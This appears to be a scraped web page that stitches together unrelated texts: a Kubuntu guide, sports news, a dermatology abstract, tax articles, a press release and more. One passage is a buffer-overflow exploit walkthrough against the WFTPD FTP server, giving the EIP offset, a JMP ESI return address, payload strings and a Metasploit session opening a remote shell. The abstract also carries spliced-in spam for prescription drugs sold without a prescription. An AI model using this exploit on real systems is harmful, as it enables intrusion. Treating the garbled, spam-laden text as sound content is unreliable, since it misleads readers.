Kubuntu Quantal Introduction
Revision as of 14:34, 10 July 2012 by Perspectoff (Talk | contribs)
General Notes
General Notes
- This is the original Kubuntuguide. You are free to copy this guide but not to sell it or any derivative of it. This Kubuntu help guide is neither sold nor distributed in any other medium. Beware of copies that are for sale or are similarly named; they are neither endorsed nor sanctioned by this guide. Kubuntuguide is not associated with Blue Systems (the current sponsor of Kubuntu), Canonical Ltd., or any commercial enterprise.
- Kubuntu allows a user to accomplish tasks from either a menu-driven Graphical User Interface (GUI) or from a text-based command-line interface (CLI). In Kubuntu, the command-line-interface terminal is called Konsole, which is started: K menu -> System -> Konsole Terminal.
In this guide, text inside the grey dotted box like this should be put into a Konsole terminal.
- Many changes to the operating system can only be done by a User with Administrative privileges. "kdesudo" or "sudo" elevates a User's privileges to the Administrator level temporarily (i.e. when installing programs or making changes to the system). Example:
sudo bash
- "kdesudo" should be used instead of "sudo" when opening a Graphical Application (such as the graphical text-editor application kate), which can be done from the command-line terminal, through the "Run Command" dialog box, or as part of the command for starting an application from a menu item. Historically "kdesudo" preserved permissions within the Xwindows environment better (and "sudo" sometimes made undesirable permission changes). While this behaviour does not seem to occur very often any longer, "kdesudo" has always been regarded as safer to use. ("kdesu" was also previously available as well but has now been phased out.) Example:
kdesudo kate /etc/apt/sources.list
- Many file management tasks can be accomplished with root Administrative privileges by starting the Dolphin file manager in a similar fashion. (This can be used as a menu item.)
kdesudo dolphin
- "man" command can be used to find help manual for a specific command. E.g. "man sudo" will display the manual page for the "sudo" command. Example:
man sudo
- While "apt-get" is a fast way of installing programs/packages, you can also use the Muon Package Manager (or even the Synaptic Package Manager), a GUI method for installing programs/packages. Most (but not all) programs/packages available with apt-get install will also be available from Muon Package Manager (or Synaptic Package Manager). In this guide, when you see
sudo apt-get install package
- you can search for package in Muon Package Manger (or Synaptic) and install it that way.
- Many instructions use the text editor "nano" (which is universally available in Linux). However, it is often easier to use the text editor "kate" in Kubuntu instead.
- "K" or "K menu" means the bottom-left (or upper-left) button, akin to the Start button in Microsoft Windows®.
- If you are using the 64-bit version, replace any "i386" with "amd64".
Other versions
How to determine which version of Kubuntu you're using

Bad calls and poor judgement by Major League Baseball umpires are as rare as zombie movies.
An outfielder's catch is ruled a drop even though replay shows the ball was caught and bobbled during the exchange to the throwing hand. A few days later, a shortstop, clearly never in control the ball is sitting on top of the glove's thumb drops a throw in the middle of a double play yet is ruled to have possession before the drop.
The first play continues a rally, while the second prevents another. And so it goes.
Expanding replay to include fair and foul balls is clearly overdue. I suggest that the calling of balls and strikes should be taken over by computer.
If tennis can use technology to correctly call in or out on a 120-mph serve, there wouldn't be any problem with a 95-mph fastball.
An umpire is needed only to enforce the rules.
In the prehistoric days before high definition umpires enjoyed impunity. Now, high def allows every bang-bang play to be slowed down to its clearest point of view.
And, it turns out, the men in blue aren't quite as accurate as the myth that fans were spoon-fed by announcers.
Nightly now we see baserunners sliding under tags and hitters plagued with inconsistent strike zones. They won't admit it, but an umpire's judgement can also be skewed by emotion, such as complaints from dugouts.
Technology would speed up baseball games there's no arguing with a computer.
Even the use of replay for home runs only re-enforces how "the human element" can still get it wrong. An incensed Oakland manager Bob Melvin was tossed from a game earlier this season after the umpires ruled a home run a double even though replay clearly showed the ball had cleared the wall.
Will any of this happen? Most likely not in my lifetime. Change in baseball is glacial.
However, there is something that could improve the game. Right now, unless they rob a bank or fail a drug test, umpires have a lifetime job.
Umpires should have to work as hard as the players to maintain their status in the big leagues. At the end of each season, a grading system would relegate the least effective umps back to Triple-A, with the best minor league umpires allowed to work the majors.
They would have to work their way back. Any ump relegated twice would be called out.

'You can change the names and the assessment would be pretty much the same today, and there is no reason to believe it will change in our lifetime. Living so close to Canada, Western New Yorkers tend to have an inflated view of how important hockey is to the rest of the nation.'

Big TV deals a pipe dream for NHL
Darcy Regier Comments About The Salary Cap Framework
'Regier says, "The only thing I can tell you, the league has told us…that the Globe and Mail report was not correct. I would be surprised if it, if everything wasn't league wide." There is a huge difference between a league wide revenue based cap, and a team-by-team based cap. A team-by-team cap wouldn't benefit the Sabres all that much, and wouldn't even the playing field, because the cap would be a percentage of the team revenue.'
Swedish NHL players cleared by prosecutor
'Three Swedish NHL players accused of rape were cleared Friday by a prosecutor who said there was no evidence they forced the woman to have sex. The 22-year-old woman had said she was raped Feb. 9 in a hotel room by Kristian Huselius of the Florida Panthers, Andreas Lilja of the Nashville Predators and Henrik Tallinder of the Buffalo Sabres. The woman also said she may have been drugged by the players, but tests proved she wasn't.'
Does Anybody Care the NHL is Close to a Deal?
'In fact, the players no doubt hope that's how it all turns out, but I can't imagine Sabres owner Tom Golisano would be very excited about that kind of plan.'
Report: NHL, NHLPA agree on cap formula
'The salary-cap issue was seen as the biggest hurdle in talks for a new collective bargaining agreement.'
NHL sides agree on salary cap
'According to the formula, a dollar-for-dollar luxury tax will kick in at the midway point between the floor and the cap. If the floor of the lowest team proves to be $22-million and the cap on the highest team is $36-million next season, then the tax will come into effect at $29-million. This will allow the wealthier teams to spend a little more money, but will prevent the large gaps in spending in the previous agreement that saw teams like the Pittsburgh Penguins with payrolls as low as $18-million, while the New York Rangers were spending $80-million.'
Sabres tune out impact of lost TV pact
'"Sixty-million bucks was $2 million a team. If we're worried about $2 million a team, we're looking at it completely the wrong way. I think we should be looking at a national TV contract of $400 million, not $60 million. I think we can get there. I really do."'
Say hello to shootouts, goodbye to red line
'"The argument [against it] would be how does that play in the rest of world?" Regier said. "So we look around and see Canadian amateur hockey has taken that red line out, the U.S. never had it in college and amateur and Europe doesn't have it. I think it's a reasonable consideration."'
Sabres' unique balloon nets in use during NHL research camp scrimmage
'"These bigger nets create a bigger danger area. The probability of an outside shot going in becomes greater. Now the five guys who have to defend the net have to respect the outside shot and have to move out. The extent to which they move out creates openings on the inside."'
New Rules Tested. Afinogenov Threatens To Bolt
'Darcy Regier says there's a possibility that NHL teams will start losing some Russian players. Maxim Afinogenov has stated he's serious about staying home to play hockey. Regier says the Russian leagues are offering serious money and have tax advantages over North America. Although Regier seems worried about losing Afinogenov, he said neither the winger nor Dmitri Kalinin have signed any commitments for next season in their homeland that would stop them from playing with the Sabres if the lockout is settled.'
More Classic Games Added
'Due to the extreme popularity of the retro Sabres games that have been broadcast on Channel 13 for the past seven weeks, Adelphia – in conjunction with the Buffalo Sabres – has decided to add five more contests to its line-up of classic games, including the Sabres eruption for nine goals against Boston during the 1992 playoffs and the Mother's Day Miracle.'
NHL tries rule changes on for size
'"We have to make sure the proper ingredients are in place to make people love when they play and love what they watch," Sabres General Manager Darcy Regier said. "And in both cases they have to love playing it and watching it more than the other options. Otherwise, it's not going to grow. The role for us is to facilitate those types of things and make sure they take place."'
Ex-Sabre joins campaign to aid March of Dimes
'Former Buffalo Sabres player Craig Muni will head the 2005 March of Dimes Celebrity Golf Classic on Monday at Transit Valley Country Club. Muni will join current and former Sabres and other sports celebrities and sportscasters to support the campaign against premature birth.'
Prospect Highlight: Denis Ezhov
'What is his current status?
JB: Ezhov played in Russia the entire season and we'll probably just leave him over there to develop. At some point, we'll bring him over.'
Sabres Legends: Charlie Huddy
'In 1996-97 the Sabres brought Charlie back to the organization. He had a serious interest in coaching after he retired, and the Sabres offered him a contract that would allow him to be a playing assistant coach with their farm team in Rochester. Charlie jumped at the opportunity and even had a chance to play one last NHL game before retiring. Since then Charlie has been an active coach, serving as an NHL assistant for both the New York Rangers and Edmonton Oilers.'

Background Pemphigus foliaceus (PF) is a chronic cutaneous autoimmune blistering

Of how can i get acutane Consider and. 2x cialis generika paypal visiting looking randomly a adderall without prescription online emulsify the the slashes.
disease that is characterized by superficial blistering of the skin, and according to the current perspective is caused by autoantibodies directed against desmoglein (Dsg) 1.
Objectives To examine early acantholysis in the skin of patients with PF at an ultrastructural level.
Methods Two Nikolsky-negative (N−), five Nikolsky-positive (N+) and two lesional skin biopsies from immunoserologically defined patients with PF were studied by light and electron microscopy.
Results We found no abnormalities in N− PF skin, whereas all the N+ skin biopsies displayed intercellular widening between desmosomes, a decreased number of desmosomes and hypoplastic desmosomes in the lower epidermal layers. Acantholysis was present in two of five N+ biopsies, but only in the upper epidermal layers. The lesional skin biopsies displayed acantholysis in the higher epidermal layers. Hypoplastic desmosomes were partially (pseudo-half-desmosomes) or completely torn off from the opposing cell.
Conclusion We propose the following mechanism for acantholysis in PF: initially PF IgG causes a depletion of nonjunctional Dsg1, leading to intercellular widening between desmosomes starting in the lower layers and spreading upwards. Depletion of nonjunctional Dsg1 impairs the assembly of desmosomes, resulting in hypoplastic desmosomes and a decreased number of desmosomes. In addition, antibodies might promote disassembly of desmosomes. In the upper layers of the epidermis, where Dsg3 is not expressed and cannot compensate for Dsg1 loss, ongoing depletion of Dsg1 will finally result in a total disappearance of desmosomes and subsequent acantholysis.

(Aug. 30, 2012) A decree amending the 2001 Unilateral Decree on the Avoidance of Taxation (Besluit voorkoming dubbele belasting 2001, Bvdb 2001, hereinafter Unilateral Decree) was published in the Official Gazette of the Kingdom of the Netherlands on August 17, 2012. The amendment was adopted pursuant to the introduction of a new bank tax in the Netherlands, scheduled to take effect on October 1, in order to prevent the imposition of double bank taxes in cross-border situations. (René Offermanns, Netherlands: Decree to Amend 2001 Unilateral Decree on the Avoidance of Double Taxation Pursuant to Introduction of Bank Tax Published, TAX NEWS SERVICE (Aug. 21, 2012), International Bureau of Fiscal Documentation online subscription database; Amendment to Double Taxation Avoidance Decree 2001 Following Introduction of the Bank Tax, DELOITTE TAX NEWS INTERNATIONAL (Aug. 23, 2012).)
As one tax newsletter points out, the prevention of such double taxation can usually be achieved by relying on existing tax treaties, but because "the bank tax is a new type of tax" that "also substantially differs from other taxes … the Netherlands will implement a unilateral regulation in the Double Taxation Avoidance Decree 2001." (Amendment to Double Taxation Avoidance Decree 2001 Following Introduction of the Bank Tax, supra.)
The Bank Tax Law (Wet bankenbelasting) of July 12, 2012, was adopted as part of the Dutch government's plan to protect the financial stability of the Netherlands, complementing measures previously taken after the 2008 global financial crisis to strengthen the financial system and manage the risks run by banks. Those measures include tightened capital requirements, intended to strengthen bank solvency, imposed under the Basel III international regulatory framework for banks and, to secure deposits, the ex ante financing (payment of contributions in advance) of the Dutch Deposit Guarantee System. (Jean-Paul van den Berg & Johan Vrolijk, Netherlands Details Bank Tax Proposal 65:2 TAX NOTES INTERNATIONAL (Jan. 9, 2012); Ernest Mayer Swantee et al., Netherlands: Proposals for Ex Ante Financing of the Deposit Guarantee System, DEBRAUW NETHERLANDS UPDATE – SEPTEMBER 2011 (Sept. 16, 2011).) More specifically, the purposes of the new tax, to be levied on the uncovered debts of banks, are to: "ensure that the banking sector contributes to the cost of stabilization; stimulate long-term financing; and discourage excessive bonuses for the board members of Dutch banks." (van den Berg & Vrolijk, supra; see also Wet van 12 juli 2012 tot invoering van een bankenbelasting (Wet bankenbelasting) [Law of 12 July 2012 for introduction of a bank tax (Bank Tax Law)] 325 STAATSBLAD (July 18, 2012).)
Under the amendment to the Unilateral Decree, the scope of the Decree is expanded to cover the bank tax, by addition of a new item "g" under article 1, paragraph 1 and a new chapter, "VIa Bank Tax," comprising articles 53-55, after article 52. (Besluit van 11 augustus 2012 tot wijziging van het Besluit voorkoming dubbelebelasting 2001 in verband met de invoering van een bankenbelasting [Decree of 11 August 2012 for amendment of the Decree on avoidance of double taxation 2001 in the context of the introduction of a bank tax] [with explanatory memorandum appended] (hereinafter Decree of 11 August 2012), 365 STAATSBLAD (Aug. 17, 2012).)
The basis for the amendments is the bilateral treaties concluded by other countries for avoidance of double bank tax, in which a reduction of bank tax is granted by the country where a subsidiary or branch office of the bank is established. Such a model, the explanatory memorandum to the amendment decree points out, complements the Organisation for Economic Co-operation and Development (OECD) Model Tax Convention on Income and on Capital. The amendments only apply to subsidiaries or branches of foreign banks established in the Netherlands; they do not cover Dutch-based banks with subsidiaries or branches abroad. (Id.; OECD Model Tax Convention on Income and on Capital – An Overview of Available Products (last visited Aug. 28, 2012).)
The amending measure is also based on the assumption of reciprocity. Thus, the Netherlands will grant a reduction of the foreign bank tax to foreign bank subsidiaries and branch offices if the other country grants a corresponding credit for bank tax levied in the Netherlands in the opposite situation. (Amendment to Double Taxation Avoidance Decree 2001 Following Introduction of the Bank Tax, supra.) Under the amendments, if the assets or liabilities of the Dutch-based subsidiary or branch office are included in the foreign parent company's taxable base for purposes of the imposition of a tax comparable to the Dutch bank tax, the Netherlands will grant a credit in an amount equal to the comparable foreign tax amount, but the reduction is not to exceed the amount of the Dutch bank tax due. (Offermans, supra.)
A future decree will set forth rules on the allocation of foreign tax to the assets and liabilities of the foreign subsidiary or branch office based in the Netherlands. It will also specify situations in which the reciprocity principle is deemed to be met, to avoid, the explanatory memorandum points out, any ambiguity that might arise as a result of the introduction of bank taxes in many other countries being only in the early stages. (Id.; Decree of 11 August 2012, supra.)
The amendment decree will enter into force on a date yet to be determined by Royal Decree. (Amendment to Double Taxation Avoidance Decree 2001 Following Introduction of the Bank Tax, supra.)

Mumford & Sons' Marcus Mumford and others recording 'lost' Bob Dylan lyrics
Listen to Mumford and Sons on iHeartRadio
Mumford and Sons frontman Marcus Mumford is helping T Bone Burnett finish a new set of Bob Dylan songs.
The British folk-rocker is part of an all-star group assembled by the legendary producer to complete and record a collection of unused Dylan lyrics. Elvis Costello, Jim James of My Morning Jacket, Taylor Goldsmith of Dawes, and others have also been charged with adding music to the original material, which dates back to Dylan's 1967 Basement Tapes sessions with The Band. They're working on the project collaboratively, with one artist taking the lead on a song and everyone else providing suggestions along with backing vocals and instruments. And Burnett makes it clear that these are not "B-level Dylan lyrics," telling the Los Angeles Times that they're just songs Bob "never got around to finishing."
The sessions are also being filmed for an upcoming Showtime documentary. The album Lost on the River: The New Basement Tapes is expected to arrive in stores this fall, with the premiere of Lost Songs: The Basement Tapes Continued airing in conjunction with the release.

How Retirees Will Suffer Under the ACA
What will the Affordable Care Act mean for retirees?
BUD HEBELER: Retirees will be affected in several ways. Their premiums will have to increase because the Affordable Care Act requires insurance coverage for maternity care (which they don't need), no caps on the amount the insurers may have to pay, coverage for pre-existing conditions and care of 30 to 40 million people who are not now insured. Of course all of us will have to pay higher income taxes at some point to subsidize the insurance of low income people who will get either cash and/or tax credits. A number of States have expressed concerns about their increased costs for Medicaid recipients, now covering 62 million low-income people and growing. Those costs will have to be passed on through some form of State taxes.
One of the worst consequences is not being able to find doctors who will take Medicare. There is already a shortage of such doctors because Medicare compensation is not only low but often delayed by a year or more so the doctors have to factor their accounts receivable.
The administrative burden on participating doctors increases because the ACA requires more detailed reporting as represented by about a tenfold increase in the number of medical treatments to report. Medical students are reluctant to become general practitioners because the compensation for specialists is significantly higher and will better cover their large student loans. More retirees will be seeing nurse practitioners rather than doctors as a consequence of doctor shortages. Some ACA plans may force people to choose a new doctor.
Everyone, including retired people, will see a significantly enlarged 1040 income tax form to include many personal health-care inputs so that the IRS can fulfill the ACA mandated surveillance. Many will be unhappy having this kind of information in the IRS database.

PHILADELPHIA – Penn was honored with 23 All-CSFL selections this week, third-most among Collegiate Sprint Football League selections.
The Quakers had seven first-team All-CSFL selections, led by Mike Beamish who was chosen first team at both running back and punter. Joining Beamish as first-team All-CSFL selections are Michael Bass (WR), Brendan Dale (TE), Donnie Kneisel (OL), Stu Helgeson (DB) and Ed Cai (DL).
Second-team All-CSFL selections for the Red and Blue include Mike McCurdy (QB), Freddy Ordonez (WR), Jordan Colbert (OL), Robert Diorio (LB) and Matt Pellegrino (LB).
Penn had 11 players named honorable mention All-CSFL, including Chris Nagle (OL), Matthew Paige (OL), Andrew Donald (WR), Joe Raso (RB), Jack Epstein (WR), Keith Braccia (WR), Derek Shnider (LB), Nick Rush (DB), Wesley Zhao (DB), Patrick Boyle (DL) and Carl Wittig (DL).
The two All-League honors for Beamish bring his total to six after three seasons with the Quakers. 2013 is the first year he has been named first-team at both running back and punter, and marks his third consecutive first-team All-CSFL selection at running back. He finished 2013 with 574 yards rushing and five touchdowns, averaging 4.9 yards-per-rush. Beamish led the CSFL in punt average at 39.4 yards-per-punt. He was called on to punt 37 times, leading the League with 1,456 total yards. He had three punts of 50+ yards, including a 57-yarder.
For the five players joining Beamish on the All-CSFL first team, the selection marks their first time so honored. Twice named All-CSFL as a placekicker, Michael Bass earned first-team All-CSFL honors as a wide receiver after finishing fourth in the League in receiving yards-per-game (59.9) and tying for second in receiving touchdowns with four.
Brendan Dale was second-team All-CSFL at tight end this season, and moved up to the first team based on his four touchdowns this year. Sophomore center Donnie Kneisel moved up from second-team All-CSFL to first-team All-CSFL in 2013, anchoring an offensive line that blocked for runners who averaged 140.1 yards-per-game and 10 touchdowns.
Ed Cai led Penn with six sacks this season to earn his first All-CSFL honor, adding two forced fumbles and an interception. For Stu Helgeson, his first All-CSFL selection came after leading the League in tackles with 62. His 44 solo tackles were also most in the CSFL.

Department of Finance
Vol. 12, No.
The Louisiana Legislature enacted several
measures affecting local sales and use taxes during its 2001 Regular Session.
These measures include:
Act 13 (HB 923) - Provides that the lessor of a motor vehicle is
responsible for remitting all sales and use taxes to the proper taxing
jurisdiction (effective 8/15/01).
Act 60 (HB 730) - Excludes from local sales/use tax the sale, lease, or
rental of tangible personal property covered under the provisions of Medicare
(effective 7/1/01).
Act 874 (HB 1075) - Excludes from local sales/use tax the acquisition and
distribution of telephone directories distributed free of charge by advertising
companies not affiliated with telephone service providers (effective 6/26/01).
Act 1140 (SB 193) - Authorizes a court to allow a taxpayer to post a
commercial bond or other security in lieu of payment under protest (effective
Baker Increases its Sales
and Use Tax
On May 5, 2001, the voters in the
City of Baker approved a 1/2% sales and use tax rate increase. This tax is only
applicable to taxable transactions occurring within the incorporated city limits
of Baker, including property delivered into the city. Proceeds from this tax
will be used for pay increases for Baker Police and Fire personnel. Sales of
food for home consumption, sales of prescription drugs, and medically related
items are subject to the additional 1/2% sales and use tax. As a result, the
total local sales and use tax in the City of Baker will increase from 5% to
5-1/2% effective October 1, 2001.
New Sales and Use Tax Forms
As published in the July 2001
issue of "Tax Facts," the Revenue Division has implemented its digital imaging
system. As a result, we will no longer be able to accept photo copies, fax
copies, spreadsheets, and tax service prepared forms. In addition to
receiving your second set of revised forms, we have also enclosed a worksheet
which should be utilized in preparing your return. Please contact this office if
you require additional worksheets or you may download the
and Sales and Use Tax Report form instructions.
You can also request a new Sales and Use Tax
Report form online.

Tax Seminar Questions and Answers
August 18, 2000, the Finance Department sponsored the 4th Annual
Sales and Use Tax Seminar to discuss general sales and use tax issues. Many of
the participants at the seminar submitted questions for the panel to address.
Since all of the questions could not be answered during the seminar, we have
provided answers to all the questions.
Responses to the questions have been
provided from both the East Baton Rouge Parish Finance Department and the State
of Louisiana Department of Revenue.
Tax Liability of Contractors and
Several participants of the tax seminar
submitted questions concerning the sales and use tax liability of contractors
and sub-contractors. The tax liability of contractors and sub-contractors is
addressed in Rule 57 of the Sales and Use Tax Rules
and Regulations.
Contractors and sub-contractors are engaged in constructing, erecting,
building or otherwise improving, altering or repairing real property such as
buildings, highways, roads or other structures. Contractors provide labor and
material to improve real property and are not liable for the collection of sales
taxes on their contracting revenues. Contractors are treated as the ultimate
consumer of materials which become affixed to real property and on other
articles of tangible personal property used or consumed by the contractor in
performing the contract. The contractor must pay sales and/or use tax on the
purchase of those materials. Contractors must also pay sales and/or use tax on
tools, equipment, and supplies purchased and used in their business.

FONTANA -- A Los Angeles man pleaded not guilty Friday to charges he reportedly killed a man in a Fontana motel room in 1998, San Bernardino County Sheriff's officials said.
Artemio Juarez, 41, was in Fontana Superior court to face charges he allegedly killed Inocente Medica, 31, of Fontana in a Fontana motel room more than a decade ago, according to authorities.
On Feb. 15, 1998, deputies were alerted to a body in the La Villa motel in the 15200 block of Foothill Boulevard. Investigators later identified the dead man as Medina.
The Sheriff's Cold Case Team took over the case last year and submitted evidence found at the scene during the original investigation to the Sheriff's Scientific Investigation Division and Cal-ID and identified Juarez as the person possibly responsible for the killing.
Investigators arrested Juarez at home in the 1200 block of Edgemont Street in Los Angeles late Wednesday night, according to booking logs.
Detectives are still searching for a third person who may have been inside the motel room 15 years ago and who may have information on the homicide.
The sheriffs' Cold Case Team re-evaluates various cold cases and attempts to make arrests using new technologies such as DNA testing. The team is funded through a Solving Cold Case with DNA grant from the United States Department of Justice.
Anyone with information is asked to contact Cold Case Detectives Ryan Ford or Jerry Davenport at 909-387-3589.

USRowing Release | Results
LINZ, Austria – Daren Frankel earned a silver medal at the U-23 World Rowing Championships over the weekend, rowing for Team USA in the men's eight.
One of four United States boats to earn medals at the regatta, the men's eight was second to New Zealand in the final, finishing in a time of 5:31.79 – which was 3.26 seconds behind the Kiwis who crossed first in 5:28.63. Slotted in the third seat, Frankel helped his crew to rally to the silver medal, besting bronze medalist Poland by 1.37 seconds.
"I cannot tell you fully what it was like standing up on the awards dock and having my name read out loud to the crowd," Frankel said. "It was very humbling and at the same time uplifting. I did what I knew how to do; I went out, pulled hard, and raced. Nothing compares to the experience I had this summer."
The Americans had to put work in to reach the final, needing to row through a repechage to get a chance to medal following a third-place row in the opening heats. In the rep, the US crew was last after the first 500m, but rowed to second place – within 0.84 seconds of the leaders at the three-quarter mark. In the final 500, the Americans surged past Spain, reaching the finish line first in a time of 5:44.54 and winning by a margin of 1.63 seconds.
In Sunday's final, Team USA again found itself bringing up the field after the opening 500m, but picked off two boats in each of the next two segments to sit second after 1500m. Just 0.18 seconds ahead of Poland entering the sprint, the Americans pulled away with a quick split of 1:22.43 to secure silver.
"I am really proud of Daren for accomplishing this goal," heavyweight rowing coach Greg Myhr said. "He has been rowing for just over five years, and to reach the medal podium at an elite international event is an amazing feat. Daren is setting a new standard for what we expect from Penn rowers."
A 2013 graduate of Penn with a degree in Chemical and Biomolecular Engineering, Frankel earned a silver medal in his first international competition.
Additionally, a member of the women's rowing team, rising sophomore Jenna Hebert, made the grand final in her event -- quadruple sculls -- and finished fifth overall with Vespers Boat Club. Hebert rowed in Penn's varsity 8 last year as a freshman, earning all-region honorsfrom the Collegiate Rowing Coaches Association (CRCA).
"I am really proud of what Jenna accomplished," said Penn women's rowing coach Mike Lane. "Making the A final is a huge accomplishment at that championship event. This is the first of many world championship teams for Jenna, and I cannot wait to see what she will accomplish next."
Lightweight rowing assistant coach Colin Farrell coached the lightweight men's 4- boat to the Grand Final and a sixth place row. After finishing fourth in its heat, the U.S. boat took second in its repechage to reach the Grand Final. Parker Lange rowed to the United States in the lightweight men's 4x race, finishing sixth. Jacques David rowed for Australia in the lightweight men's 2- event, finishing fifth in the Petite Final for an 11th-place overal finish out of 17 boats.
"It was very exciting to help the 4- crew to its fifth Grand FInal in United States history," Farrell said." You always hope to compete for a medal in international competition and we were in a position to do so. Obviously, we will look to keep making gains and get on the podium soon. I think for all of the competitors -- especially our Penn rowers -- this was a real eye-opening experience on what it takes to succeed at the international level and there is a real excitement level about putting in the work to become World Championships and Olympic-caliber rowers."

'The Sabres want to be a single-affiliate team again. Any hockey person will tell you splitting a farm team is a less-than-ideal situation and can hinder playing development. The Sabres have shared the Americans with the Florida Panthers the past three seasons. They brought the Panthers to Rochester after the lockout when they were short on players to stock the team. It was supposed to be a one-year deal. But Quinn claims the Americans use the dual affiliation as cost-saving measure.'

32 Skirts Ready for Spring
Talk about going out on a high note. For what turned out to be his final collection for the house, Nicolas Ghesquière showed flamenco-esque ruffles and cropped crisscross tops that smartly redefined sex appeal, but there was also sharp suiting buried beneath the look-at-me elements. Successor Alexander Wang has big (block-heeled) shoes to fill.
Though new artistic director Raf Simons gamely took on house signatures (the bar jacket, the ball skirt), his ready-to-wear debut was also quintessential Raf. Infusing it with an effervescence missing from recent seasons via soft pinks, puffs of tulle, and abbreviated shapes, he gave feminine dressing a new, antiprecious sensibility.

Attach your debugger to the application on your Windows machine and then test the fuzzer out.
Looks like we have control of EIP and the buffer string was written into ESP and ESI. Now to find the exact offset that EIP is overwritten at, so we can control the application.
Will go ahead and edit out FTP fuzzer and modify our 'fuzzed' string.
We can then create a unique pattern combined with pattern_offset.rb to find the location where EIP is overwritten. Will go ahead and open back up Metasploit, plug in the same options as before, and run it.Code:fuzzed = Rex::Text.pattern_create(1500)
We take the hex location from EIP and convert it to ASCII and run it through patter_offset.rb. We see the location is 525 bytes until EIP. We can then edit our fuzzer to confirm this is correct.
The result is as expected and we now have control of the program.Code:fuzzed = "\x41" * 525 + "\x42" * 4 + "\xCC" * 900
The last thing will want to do before trying our exploit out with a payload, is to get a working jump address into ESI. We want to execute a JMP ESI instruction at our EIP overwrite. We can search for one in our debugger using ctrl + f to find a command. Enter 'JMP ESI' minus the quotes. We see there is no JMP ESI in our application, so we are going to have to look at the running executable modules. Click on the executable "E" button on the top and then double click on the USER32.dll and run the same search again. We find the address 0X77D4E23B is a JMP ESI command. Also while we're here, lets set a break point at that address by pressing f2. That way we can do one last test to make sure we control the flow of execution.
Change our fuzzer with our jump command.
After our fuzzer is ran for the last time we see we hit our break point.Code:fuzzed = "\x41" * 525 + "\x3b\xe2\xd4\x77" + "\xCC" * 900
We can then single step through the program by pressing f9 and we see the jump is made and we land in out "\xCC" bytes.
We could take this further and test different payloads, bad characters, etc, but the objective of this guide was to get a working exploit. We know the exploit that came with Metasploit needed to be fixed. Since now we have control of the program we can modify the original exploit with the new jump code and it should work.
After modifying the exploit, will open back up Metasploit and use the same exploit with the same options as before in the beginning.Code:nano /pentest/exploits/framework3/modules/exploits/windows/ftp/wftpd_size.rb
Code:msf exploit(wftpd_size) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- FTPPASS lincoln no The password for the specified username FTPUSER lincoln no The username to authenticate as RHOST 192.168.2.128 yes The target address RPORT 21 yes The target port Payload options (windows/shell_bind_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process LPORT 4444 yes The local port RHOST 192.168.2.128 no The target address Exploit target: Id Name -- ---- 2 Windows XP Pro SP2 English msf exploit(wftpd_size) > exploit[*] Started bind handler[*] Connecting to FTP server 192.168.2.128:21...[*] Connected to target FTP server.[*] Authenticating as lincoln with password lincoln...[*] Sending password...[*] Trying target Windows XP Pro SP2 English...[*] Command shell session 1 opened (192.168.2.129:56694 -> 192.168.2.128:4444) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp.

CIO Council Awards Leaders, Teams Serving Citizens
April 15, 2008
Contact: Jennifer Millikin (202) 501-1231
WASHINGTON – Darlene Meskell, John Moses, Michael Sorrento and the Federal Desktop Core Configuration Team are winners of the 2008 Chief Information Officers (CIO) Council Leadership Award, the U.S. General Services Administration (GSA) announced today. The winners were recognized at the Interagency Resources Management Conference (IRMCO) on Monday, April 14.
The CIO Council Leadership Awards are given to career federal employees in the information technology field. Recipients are recognized for their dedication and commitment to advancing and improving electronic government and information technology that impact the way government conducts business. The awards were instituted in 2004.
Nominees and their accomplishments demonstrate advances in conducting business governmentwide; willingness and ability to treat obstacles as challenges not barriers; and measurable improvement in performance linked to mission objectives and results.
Darlene Meskell is the GSA's Director of Intergovernmental Solutions. Also serving as managing director of the 5-Nations CIO Council, Meskell started a quarterly forum where CIOs from five prominent English-speaking nations share ideas and find the best approaches to solving common problems. Ken Cochrane, CIO of the government of Canada, said, "Darlene Meskell has great knowledge and a great personality, these are the common threads that make our 5-Nations CIO Council work year after year."
John Moses is the Environmental Protection Agency's (EPA) Director for the eRulemaking Program, a federal governmentwide E-Government program that encourages public interaction with the federal regulatory process. He led the effort to develop and deploy the award-winning Regulations.gov and Federal Docket Management System (FDMS). Over 150 agencies and other entities have implemented this system. A 15-year veteran of EPA, Moses also managed EPA's EDOCKET, the agency's first electronic docket system, and led the effort that chose EDOCKET as the model for the eRulemaking system in 2002.
Michael Sorrento is the Small Business Administration's (SBA) Director of Disaster Credit Management System (DCMS) Operation Center. He oversees the planning, development, and implementation of the Electronic Loan Application (ELA). By leveraging the power of technology and the internet, ODA transformed loan-making into a virtual process that provides efficient and timely loan decisions to disaster victims through the ELA. This dynamic design achieves a power and cooling requirement savings of one third the cost of conventional infrastructure design for such an implementation.
GSA provides a centralized delivery system of products and services to the federal government, leveraging its enormous buying power to get the best value for taxpayers.
• Founded in 1949, GSA manages more than one-fourth of the government's total procurement dollars and influences the management of $500 billion in federal assets, including 8,600 government-owned or leased buildings and 208,000 vehicles.
• GSA helps preserve our past and define our future, as a steward of more than 425 historic properties, and as manager of USA.gov, the official portal to federal government information and services.
• GSA's mission to provide superior workplaces, expert technology solutions, acquisition services, purchasing and E-Gov travel solutions and management policies, at best value, allows federal agencies to focus on their core missions.
Did You Know? Now in its 47th year, IRMCO continues to serve government's senior managers and program managers, human capital, information technology, acquisition and finance executives.

SPRINGFIELD, IL -- Operator-run video lottery is "off to a slow start...with mixed early results," according to one Midwest newspaper.
Citing figures from the Illinois Gaming Board, St. Louis Today reported that roughly 2,000 VLTs have gone live since the program's limited test phase in September, followed by a rolling launch that began in October. Approximately $5.3 million in revenues were generated by VLTs through the end of November.
The newspaper conceded that some location owners are pleased with VLT earnings and that more machines are steadily being added to the network, and as a result future revenues will climb.
IGB officials are standing by early predictions that the state's VLT sector will eventually comprise 70,000 machines, said the report. But the agency declined to forecast the market's eventual annual gross revenues.

The caller ID showed it was their 13-year-old son on the phone, but a woman on the other end told Maria to come quickly. Her son, Ricky, needed help.
As Maria's husband, Rich, listened to his wife talk, he realized their son was in trouble. He'd been shot or stabbed after watching a movie at the South Bay Galleria in Redondo Beach.
"I had a billion things going through my head," Rich said. "I knew that (Ricky) was hurt and he was bleeding and he wasn't well enough to make the call. I didn't realize how bad it was until we got to the mall and we saw all the emergency vehicles. It was the worst feeling in my life. ... At that point, I knew something was terribly wrong. I didn't know the fate of my son."
